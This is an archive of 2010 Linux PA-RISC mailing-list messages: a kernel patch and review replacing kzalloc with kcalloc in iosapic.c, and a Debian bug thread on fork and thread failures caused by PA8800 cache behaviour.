 	isi->isi_num_vectors = IOSAPIC_IRDT_MAX_ENTRY(isi->isi_version) + 1;
 
-	vip = isi->isi_vector = (struct vector_info *)
-		kzalloc(sizeof(struct vector_info) * isi->isi_num_vectors, GFP_KERNEL);
+	vip = isi->isi_vector = kcalloc(isi->isi_num_vectors,
+					sizeof(struct vector_info), GFP_KERNEL);
 	if (vip == NULL) {
 		kfree(isi);
 		return NULL;
-- 
1.7.0.3.311.g6a6955


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 14/21] drivers/parisc/iosapic.c: Remove unnecessary
	kzalloc cast
Date: Tue, 1 Jun 2010 15:02:12 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20100601210212.GA19544@lackof.org>
References: <cover.1275360951.git.joe@perches.com> <ba7d48df75ca37c39b0e519921c116a617e71db7.1275360951.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275426165 25018 80.91.229.12 (1 Jun 2010 21:02:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Jun 2010 21:02:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 01 23:02:41 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OJYbe-0008Hf-Ha
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Jun 2010 23:02:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932194Ab0FAVCX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Jun 2010 17:02:23 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:37622 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932162Ab0FAVCW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Jun 2010 17:02:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4D20233E0252;
	Tue,  1 Jun 2010 15:02:21 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OtOA-MWTyum9; Tue,  1 Jun 2010 15:02:12 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id AE01933E0268; Tue,  1 Jun 2010 15:02:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <ba7d48df75ca37c39b0e519921c116a617e71db7.1275360951.git.joe@perches.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2886 gmane.linux.kernel:993510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2886>

On Mon, May 31, 2010 at 08:23:16PM -0700, Joe Perches wrote:
> Convert kzalloc to kcalloc
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
>  drivers/parisc/iosapic.c |    4 ++--
>  1 files changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
> index c768367..3e6f56c 100644
> --- a/drivers/parisc/iosapic.c
> +++ b/drivers/parisc/iosapic.c
> @@ -891,8 +891,8 @@ void *iosapic_register(unsigned long hpa)
>  	isi->isi_version = iosapic_rd_version(isi);
>  	isi->isi_num_vectors = IOSAPIC_IRDT_MAX_ENTRY(isi->isi_version) + 1;
>  
> -	vip = isi->isi_vector = (struct vector_info *)
> -		kzalloc(sizeof(struct vector_info) * isi->isi_num_vectors, GFP_KERNEL);
> +	vip = isi->isi_vector = kcalloc(isi->isi_num_vectors,
> +					sizeof(struct vector_info), GFP_KERNEL);
>  	if (vip == NULL) {
>  		kfree(isi);
>  		return NULL;
> -- 
> 1.7.0.3.311.g6a6955
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Modestas Vainius <modestas@vainius.eu>
Newsgroups: gmane.linux.debian.devel.bugs.rc,gmane.linux.ports.parisc
Subject: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Wed, 2 Jun 2010 18:33:12 +0300
Lines: 40
Approved: news@gmane.org
Message-ID: <201006021833.23216.modestas@vainius.eu>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
Reply-To: Modestas Vainius <modestas@vainius.eu>, 561203@bugs.debian.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1902824.nPJ22nheZJ";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275493159 7870 80.91.229.12 (2 Jun 2010 15:39:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 2 Jun 2010 15:39:19 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca,
 deller@gmx.de,
 gniibe@fsij.org,
 linux-parisc@vger.kernel.org,
 pkg-gauche-devel@lists.alioth.debian.org,
 561203@bugs.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bounce-debian-bugs-rc=glddbr-debian-bugs-rc=gmane.org@lists.debian.org Wed Jun 02 17:39:17 2010
connect(): No such file or directory
Return-path: <bounce-debian-bugs-rc=glddbr-debian-bugs-rc=gmane.org@lists.debian.org>
Envelope-to: glddbr-debian-bugs-rc@gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-bugs-rc=glddbr-debian-bugs-rc=gmane.org@lists.debian.org>)
	id 1OJq2H-0001n4-6u
	for glddbr-debian-bugs-rc@gmane.org; Wed, 02 Jun 2010 17:39:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 80D6213A5C7C; Wed,  2 Jun 2010 15:39:15 +0000 (UTC)
Old-Return-Path: <debbugs@busoni.debian.org>
X-Original-To: lists-debian-bugs-rc@liszt.debian.org
Delivered-To: lists-debian-bugs-rc@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 305EA13A5C52
	for <lists-debian-bugs-rc@liszt.debian.org>; Wed,  2 Jun 2010 15:39:15 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank bug
X-Spam-Flag: NO
X-Spam-Score: -2.599
X-Spam-Level: 
X-Spam-Status: No, score=-2.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2.599] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id P2601SezdA+y
	for <lists-debian-bugs-rc@liszt.debian.org>;
	Wed,  2 Jun 2010 15:39:09 +0000 (UTC)
Original-Received: from busoni.debian.org (busoni.debian.org [140.211.15.34])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 92CF513A5A8E;
	Wed,  2 Jun 2010 15:39:09 +0000 (UTC)
Original-Received: from debbugs by busoni.debian.org with local (Exim 4.69)
	(envelope-from <debbugs@busoni.debian.org>)
	id 1OJq26-0004ns-7z; Wed, 02 Jun 2010 15:39:06 +0000
X-Loop: owner@bugs.debian.org
Resent-From: Modestas Vainius <modestas@vainius.eu>
Resent-To: debian-bugs-dist@lists.debian.org
Resent-CC: Debian Kernel Team <debian-kernel@lists.debian.org>
X-Loop: owner@bugs.debian.org
Resent-Date: Wed, 02 Jun 2010 15:39:04 +0000
Resent-Message-ID: <handler.561203.B561203.127549291217153@bugs.debian.org>
X-Debian-PR-Message: followup 561203
X-Debian-PR-Package: linux-2.6
X-Debian-PR-Keywords: sid squeeze help
Original-Received: via spool by 561203-submit@bugs.debian.org id=B561203.127549291217153
          (code B ref 561203); Wed, 02 Jun 2010 15:39:04 +0000
Original-Received: (at 561203) by bugs.debian.org; 2 Jun 2010 15:35:12 +0000
X-Spam-Bayes: score:0.0000 Tokens: new, 19; hammy, 151; neutral, 49; spammy,
	0. spammytokens: hammytokens:0.000-+--H*c:sk:pgp-sha,
	0.000-+--H*c:pgp-signature, 0.000-+--H*c:protocol, 0.000-+--H*c:micalg,
	0.000-+--H*c:signed
Original-Received: from lan-84-240-22-131.vln.skynet.lt ([84.240.22.131] helo=ozas.sytes.net)
	by busoni.debian.org with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <modestas@vainius.eu>)
	id 1OJpyK-0004Qu-Fj
	for 561203@bugs.debian.org; Wed, 02 Jun 2010 15:35:12 +0000
Original-Received: from mdxdesktop.ozas.sytes.net ([192.168.0.6])
	by ozas.sytes.net with esmtp (Exim 4.63)
	(envelope-from <modestas@vainius.eu>)
	id 1OJpxp-00034D-Dq; Wed, 02 Jun 2010 18:34:41 +0300
Original-Received: from localhost ([127.0.0.1] helo=mdxdesktop.localnet)
	by mdxdesktop.ozas.sytes.net with esmtp (Exim 4.71)
	(envelope-from <modestas@vainius.eu>)
	id 1OJpwa-0002ma-0u; Wed, 02 Jun 2010 18:33:24 +0300
User-Agent: KMail/1.13.3 (Linux/2.6.34-1-amd64; KDE/4.4.4; x86_64; ; )
In-Reply-To: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
Resent-Date: Wed, 02 Jun 2010 15:39:06 +0000
X-Debian-Message: from BTS
X-Mailing-List: <debian-bugs-rc@lists.debian.org> archive/latest/277517
X-Loop: debian-bugs-rc@lists.debian.org
List-Id: <debian-bugs-rc.lists.debian.org>
List-Post: <mailto:debian-bugs-rc@lists.debian.org>
List-Help: <mailto:debian-bugs-rc-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-bugs-rc-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-bugs-rc-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-bugs-rc-request@lists.debian.org
Xref: news.gmane.org gmane.linux.debian.devel.bugs.rc:269043 gmane.linux.ports.parisc:2887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2887>

--nextPart1902824.nPJ22nheZJ
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

this bug [1] is back to the "very common" department with eglibc 2.11 (libc=
6-
dev_2.11.1-1) builds. Majority of KDE applications are failing to build on=
=20
hppa again. Is there really nothing what could be done to fix it?

1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D561203
2.=20
https://buildd.debian.org/fetch.cgi?pkg=3Dkde4libs;ver=3D4%3A4.4.4-1;arch=
=3Dhppa;stamp=3D1275467025
3.=20
https://buildd.debian.org/fetch.cgi?pkg=3Dbasket;ver=3D1.80-1;arch=3Dhppa;s=
tamp=3D1275483241

=2D-=20
Modestas Vainius <modestas@vainius.eu>

--nextPart1902824.nPJ22nheZJ
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEABECAAYFAkwGebkACgkQHO9JRnPq4hSKPQCghcD4x7NkMP1/81PQ+gV1pK8I
P00AoNfsgRUpWmegDJZ8w9nWuqmuHg+5
=zKJW
-----END PGP SIGNATURE-----

--nextPart1902824.nPJ22nheZJ--




From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Wed, 2 Jun 2010 13:16:01 -0400
Organization: nrc.ca
Lines: 42
Approved: news@gmane.org
Message-ID: <20100602171600.GA5566@hiauly1.hia.nrc.ca>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <201006021833.23216.modestas@vainius.eu>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275498971 30801 80.91.229.12 (2 Jun 2010 17:16:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 2 Jun 2010 17:16:11 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: Modestas Vainius <modestas@vainius.eu>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 02 19:16:08 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OJrXz-0000zu-Ph
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Jun 2010 19:16:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757817Ab0FBRQH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Jun 2010 13:16:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2757 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756927Ab0FBRQG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Jun 2010 13:16:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4ED254E77; Wed,  2 Jun 2010 13:16:01 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <201006021833.23216.modestas@vainius.eu>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2888>

On Wed, 02 Jun 2010, Modestas Vainius wrote:

> Hello,
> 
> this bug [1] is back to the "very common" department with eglibc 2.11 (libc6-
> dev_2.11.1-1) builds. Majority of KDE applications are failing to build on 
> hppa again. Is there really nothing what could be done to fix it?

I will just say it is very tricky.  I think a fix is possible (arm and mips
had similar cache problems) but the victim replacement present in PA8800/PA8900
caches makes the problem especially difficult  for hardware using these
processors.

I have spent the last few months testing various alternatives and have
now done hundreds of kernel builds.  I did post some experimental patches
that fix the problem on UP kernels.  However, the problem is not resolved
for SMP kernels.

The minifail test is a good one to demonstrate the problem.  Indeed,
a very similar test was given in the thread below:
http://readlist.com/lists/vger.kernel.org/linux-kernel/54/270861.html

This thread also discusses the PA8800 problem:
http://readlist.com/lists/vger.kernel.org/linux-kernel/54/271417.html

I currently surmise that we have a problem with the cache victim
replacement, although the cause isn't clear.  I did find recently
that the cache prefetch in copy_user_page_asm extends to the line
beyond the end of the page, but fixing this doesn't resolve the problem.

I am still experimenting with using equivalent aliasing.  It does
help to flush in ptep_set_wrprotect.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Wed, 2 Jun 2010 11:56:17 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20100602175616.GA23219@lackof.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <201006021833.23216.modestas@vainius.eu> <20100602171600.GA5566@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275501391 7378 80.91.229.12 (2 Jun 2010 17:56:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 2 Jun 2010 17:56:31 +0000 (UTC)
Cc: Modestas Vainius <modestas@vainius.eu>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	561203@bugs.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 02 19:56:28 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OJsB1-00053d-G8
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Jun 2010 19:56:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758393Ab0FBR41 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Jun 2010 13:56:27 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:34919 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758383Ab0FBR40 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Jun 2010 13:56:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 1922C33E0252;
	Wed,  2 Jun 2010 11:56:26 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jC3+hoEIjJLN; Wed,  2 Jun 2010 11:56:17 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 09AF133E0268; Wed,  2 Jun 2010 11:56:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100602171600.GA5566@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2889>

On Wed, Jun 02, 2010 at 01:16:01PM -0400, John David Anglin wrote:
> On Wed, 02 Jun 2010, Modestas Vainius wrote:
> 
> > Hello,
> > 
> > this bug [1] is back to the "very common" department with eglibc 2.11 (libc6-
> > dev_2.11.1-1) builds. Majority of KDE applications are failing to build on 
> > hppa again. Is there really nothing what could be done to fix it?
> 
> I will just say it is very tricky.  I think a fix is possible (arm and mips
> had similar cache problems) but the victim replacement present in PA8800/PA8900
> caches makes the problem especially difficult  for hardware using these
> processors.
> 
> I have spent the last few months testing various alternatives and have
> now done hundreds of kernel builds.  I did post some experimental patches
> that fix the problem on UP kernels.  However, the problem is not resolved
> for SMP kernels.

Note that Debian's buildds run a UP kernel, so as soon as those fixes
go upstream we can pull them in. Thanks for all your work here!

> The minifail test is a good one to demonstrate the problem.  Indeed,
> a very similar test was given in the thread below:
> http://readlist.com/lists/vger.kernel.org/linux-kernel/54/270861.html
> 
> This thread also discusses the PA8800 problem:
> http://readlist.com/lists/vger.kernel.org/linux-kernel/54/271417.html
> 
> I currently surmise that we have a problem with the cache victim
> replacement, although the cause isn't clear.  I did find recently
> that the cache prefetch in copy_user_page_asm extends to the line
> beyond the end of the page, but fixing this doesn't resolve the problem.
> 
> I am still experimenting with using equivalent aliasing.  It does
> help to flush in ptep_set_wrprotect.
> 
> Dave

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Modestas Vainius <modestas@vainius.eu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Thu, 3 Jun 2010 11:50:05 +0300
Lines: 70
Approved: news@gmane.org
Message-ID: <201006031150.15725.modestas@vainius.eu>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart4203694.qXjXkOGAyg";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275555076 5947 80.91.229.12 (3 Jun 2010 08:51:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 3 Jun 2010 08:51:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	561203@bugs.debian.org, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: dann frazier <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 03 10:51:13 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OK68u-0000J5-Hk
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Jun 2010 10:51:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755646Ab0FCIvL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Jun 2010 04:51:11 -0400
Original-Received: from lan-84-240-22-131.vln.skynet.lt ([84.240.22.131]:4663 "EHLO
	ozas.sytes.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751863Ab0FCIvK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Jun 2010 04:51:10 -0400
Original-Received: from mdxdesktop.ozas.sytes.net ([192.168.0.6])
	by ozas.sytes.net with esmtp (Exim 4.63)
	(envelope-from <modestas@vainius.eu>)
	id 1OK68j-0003ae-Ba; Thu, 03 Jun 2010 11:51:01 +0300
Original-Received: from localhost ([127.0.0.1] helo=mdxdesktop.localnet)
	by mdxdesktop.ozas.sytes.net with esmtp (Exim 4.71)
	(envelope-from <modestas@vainius.eu>)
	id 1OK680-00060O-Hs; Thu, 03 Jun 2010 11:50:16 +0300
User-Agent: KMail/1.13.3 (Linux/2.6.34-1-amd64; KDE/4.4.4; x86_64; ; )
In-Reply-To: <20100602175616.GA23219@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2891>

--nextPart4203694.qXjXkOGAyg
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

# Breaks unrelated applications
tags 561203 critical
thanks

Hello,

On tre=C4=8Diadienis 02 Bir=C5=BEelis 2010 20:56:17 dann frazier wrote:
> On Wed, Jun 02, 2010 at 01:16:01PM -0400, John David Anglin wrote:
> > On Wed, 02 Jun 2010, Modestas Vainius wrote:
> > > Hello,
> > >=20
> > > this bug [1] is back to the "very common" department with eglibc 2.11
> > > (libc6- dev_2.11.1-1) builds. Majority of KDE applications are failing
> > > to build on hppa again. Is there really nothing what could be done to
> > > fix it?
> >=20
> > I will just say it is very tricky.  I think a fix is possible (arm and
> > mips had similar cache problems) but the victim replacement present in
> > PA8800/PA8900 caches makes the problem especially difficult  for
> > hardware using these processors.
> >=20
> > I have spent the last few months testing various alternatives and have
> > now done hundreds of kernel builds.  I did post some experimental patch=
es
> > that fix the problem on UP kernels.  However, the problem is not resolv=
ed
> > for SMP kernels.
>=20
> Note that Debian's buildds run a UP kernel, so as soon as those fixes
> go upstream we can pull them in. Thanks for all your work here!
>=20

Well, as long as this is unfixed or at least "common", I don't see how hppa=
=20
can be considered to be a release arch. Is that UP patch available somewher=
e?

All KDE applications have been stuck in unstable before due to this and=20
history is about to repeat itself unless something is done. While apparentl=
y a=20
failing test in eglibc can be ignored, other applications have to suffer re=
al=20
world problems...

=2D-=20
Modestas Vainius <modestas@vainius.eu>

--nextPart4203694.qXjXkOGAyg
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEABECAAYFAkwHbL4ACgkQHO9JRnPq4hSMXwCfYSyqlh7B8Rt3N5+Szqc3pp8J
PaQAoMje2eJx0/LCQNJ8loryxp0+er6e
=Y/NB
-----END PGP SIGNATURE-----

--nextPart4203694.qXjXkOGAyg--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Fri, 04 Jun 2010 10:03:07 +0900
Organization: Free Software Initiative of Japan
Lines: 27
Approved: news@gmane.org
Message-ID: <4C0850CB.20703@fsij.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275614644 23165 80.91.229.12 (4 Jun 2010 01:24:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 01:24:04 +0000 (UTC)
Cc: dann frazier <dannf@debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	561203@bugs.debian.org, deller@gmx.de,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: Modestas Vainius <modestas@vainius.eu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 03:24:02 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKLdf-0000OV-VK
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 03:24:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756906Ab0FDBX6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Jun 2010 21:23:58 -0400
